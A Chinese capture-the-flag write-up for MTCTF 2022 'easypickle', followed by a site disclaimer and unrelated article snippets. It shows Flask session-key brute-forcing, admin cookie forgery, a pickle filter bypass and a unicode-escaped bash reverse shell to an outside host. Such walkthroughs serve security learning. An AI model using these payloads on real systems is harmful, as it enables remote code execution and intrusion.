[MTCTF 2022]easypickle

题目给了源码

import base64
import pickle
from flask import Flask, session
import os
import randomapp = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()@app.route('/')
def hello_world():if not session.get('user'):session['user'] = ''.join(random.choices("admin", k=5))return 'Hello {}!'.format(session['user'])@app.route('/admin')
def admin():if session.get('user') != "admin":return f"<script>alert('Access Denied');window.location.href='/'</script>"else:try:a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")if b'R' in a or b'i' in a or b'o' in a or b'b' in a:raise pickle.UnpicklingError("R i o b is forbidden")pickle.loads(base64.b64decode(session.get('ser_data')))return "ok"except:return "error!"if __name__ == '__main__':app.run(host='0.0.0.0', port=8888)

分析一下,给出SECRET_KEY的生成方法;/路由下会检测session是否存在user的键名,如果没有则从admin五个字符中随机复制五个并输出;/admin路由下判断是否为admin如果是则先进行关键字替换和if判断,然后pcikle反序列化

我们不妨先看下密钥是如何生成的
在这里插入图片描述可以发现是生成四位的随机字符串
那么我们想要伪造cookie就要知道密钥,这里借助工具flask-unsign用密钥字典去爆破得到密钥

我们先生成对应的密钥字典(加上双引号方便使用)

import osfile_path='./key.txt'
with open(file_path, 'w') as f:for i in range(1,9999):key = os.urandom(2).hex()f.write("\"{}\"\n".format(key))

将字典复制到该工具文件夹下,爆破出密钥
(PS: 如果没爆破出来重新生成字典再跑)
在这里插入图片描述然后加密一下

python flask_session_cookie_manager3.py encode -s "8d4a" -t "{'user':'admin'}"

我们访问/admin然后抓包修改cookie,成功访问
在这里插入图片描述
然后分析一下如何pickle反序列化

try:a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")if b'R' in a or b'i' in a or b'o' in a or b'b' in a:raise pickle.UnpicklingError("R i o b is forbidden")pickle.loads(base64.b64decode(session.get('ser_data')))return "ok"
except:return "error!"

首先将opcode进行关键字替换,然后base64解码赋值给a;接着进行if判断Rirb是否存在变量a中,然后进行pickle反序列化

这里虽然禁用操作符使得难以绕过,但是waf存在逻辑漏洞,也就是说pickle的对象是ser_data,而不是a,所以我们opcode中有os虽然被替换成Os,但是我们还是能执行opcode

payload

opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''//pickletools转换一下0: (    MARK						先传入一个标志到堆栈上,1: S        STRING     'key1'		给栈添加一行string类型数据key19: S        STRING     'val1'		给栈添加一行string数据val117: d        DICT       (MARK at 0)	将堆栈里面的所有数据取出然后组成字典放入堆栈18: S    STRING     'vul'			放入一个string类型数据vul25: (    MARK						再传入一个标志26: c        GLOBAL     'os system'	c操作码提取下面的两行作为module下的一个全局对象此时就是os.system37: V        UNICODE    'calc'		读入一个字符串,以\n结尾;然后把这个字符串压进栈中43: o        OBJ        (MARK at 25)	o操作码建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数))44: s    SETITEM						从堆栈中弹出三个值,一个字典,一个键和值。键/值条目是添加到字典,它被推回到堆栈上45: .    STOP

因为反弹shell中是需要用到i参数的,而i参数会被检测,但是V操作码是可以识别\u的所以我们可以把我们的代码进行unicode编码然后放入payload中

运行下脚本

import base64
opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0035\u0069\u0037\u0038\u0031\u0039\u0036\u0033\u0070\u0032\u002e\u0079\u0069\u0063\u0070\u002e\u0066\u0075\u006e\u002f\u0035\u0038\u0032\u0036\u0035\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''
print(base64.b64encode(opcode))

得到payload,然后伪造cookie即可
在这里插入图片描述
访问/admin抓包,修改cookie
反弹成功
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/293186.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java开发需要掌握的TypeScript相关的知识点,细致简洁版。

Typescript&#xff1a; 介绍&#xff1a; TypeScript&#xff08;简称 TS&#xff09;是JavaScript的超集&#xff08;继承了JS全部语法&#xff09;&#xff0c;TypeScript Type JavaScript。 简单说&#xff0c;就是在JS的基础上&#xff0c;为JS添加了类型支持。是微软开…

Python办公自动化Day1

目录 文章声明⭐⭐⭐让我们开始今天的学习吧&#xff01;xlwt创建Excelxlrd读取Excelxlutils修改Excelxlwt设置样式常见的字体样式单元格宽高内容对齐方式设置单元格边框设置背景颜色样式整合起来的写法 文章声明⭐⭐⭐ 该文章为我&#xff08;有编程语言基础&#xff0c;非编…

Selenium Web自动化实践案例,跟着敲代码真香

1 项目背景 https://passport.csdn.net/login CSDN登录页面 2 功能实现 自动运行用例 自动生成测试报告 自动断言与截图 自动将最新测试报告发送到指定邮箱 数据&#xff0c;页面元素分离 PageObjectUnittestddt数据驱动用例 执行日志、分布式执行 3 项目架构…

【前端基础】script引入资源脚本加载失败解决方案(重新加载获取备用资源)

问题描述 现在假设有一个script资源加载失败&#xff0c;代码如下 <!DOCTYPE html> <html> <head><title>script 资源加载失败</title> </head> <body><script src"http:hdh.sdas.asdas/1.js"></script> &l…

用水用电用燃气PSD大屏文件,电力行业可视化大数据(供水供电可视化管理后台资料)

通过对水、电、燃气等能源的使用情况进行统计和分析&#xff0c;可以有效地预测能源需求&#xff0c;为企业的能源管理提供决策依据。现分享大屏燃气大数据可视化平台、电力行业可视化大数据展示平台、大工商业用气快速报告、供水供电可视化管理后台等大屏模版的Photoshop源文件…

2. 创建型模式 - 抽象工厂模式

亦称&#xff1a; Abstract Factory 意图 抽象工厂模式是一种创建型设计模式&#xff0c; 它能创建一系列相关的对象&#xff0c; 而无需指定其具体类。 问题 假设你正在开发一款家具商店模拟器。 你的代码中包括一些类&#xff0c; 用于表示&#xff1a; 一系列相关产品&…

DSC2803X,DSP Pin2Pin with Ti Parts

一&#xff0c;产品特性 高能效 32 位处理器(H28x 内核)  主频 120MHz&#xff08;周期 8.33ns&#xff09;  哈佛(Harvard) 总线架构  硬件乘法/除法单元  4/6 通道高速 DMA  快速中断响应和处理  统一存储器编程模型  高效代码&#xff08;使用 C/C和汇编语言&…

测试框架|Burp Suite几个基本工具的使用

前阵子项目上想通过测试工具在网页上模拟返回错误代码 500 来查看页面的错误处理&#xff0c;然后去调查了下 burp suite&#xff0c;看了些基本工具的使用文档。虽然最后证实 burp suite 只能用来处理页面测试应用程序的实际行为和响应&#xff0c;而不是尝试模拟不存在的问题…

TCP/IP:从数据包到网络的演变

引言 TCP/IP协议的起源可以追溯到20世纪60年代末和70年代初&#xff0c;美国国防部高级研究计划局&#xff08;ARPA&#xff09;研究开发一种可靠的通信协议&#xff0c;用于连接分散在不同地点的计算机和资源。 在当时&#xff0c;计算机之间的连接并不像现在这样普遍和便捷…

【vtkWidgetRepresentation】第十六期 vtkContourRepresentation(三)

很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ:870202403 前言 本文分享vtkContourLineInterpolator接口的源码剖析和实例应用,希望对各位小伙伴有所帮助! 感谢各位小伙伴的点赞+关注,小易会继续努力分享,一起进步! 你的点赞就是我的动力(^U^)ノ~YO 目录 前言 …

「Verilog学习笔记」自动售卖机

专栏前言 本专栏的内容主要是记录本人学习Verilog过程中的一些知识点&#xff0c;刷题网站用的是牛客网 timescale 1ns/1nsmodule sale(input clk ,input rst_n ,input sel ,//sel0,5$dranks,sel1,10&$drinksinput …

MIT 6.s081 实验解析——labs1

系列文章目录 MIT 6.s081 实验解析——labs1 文章目录 系列文章目录测试判断流程sleep 未完待续 测试判断流程 完成代码后将.c文件放入user文件夹中在makefile文件的UPROGS处添加要测试的文件&#xff0c;如要添加的是sleep.c&#xff0c;则写为_sleep。 重新编译xv6 make q…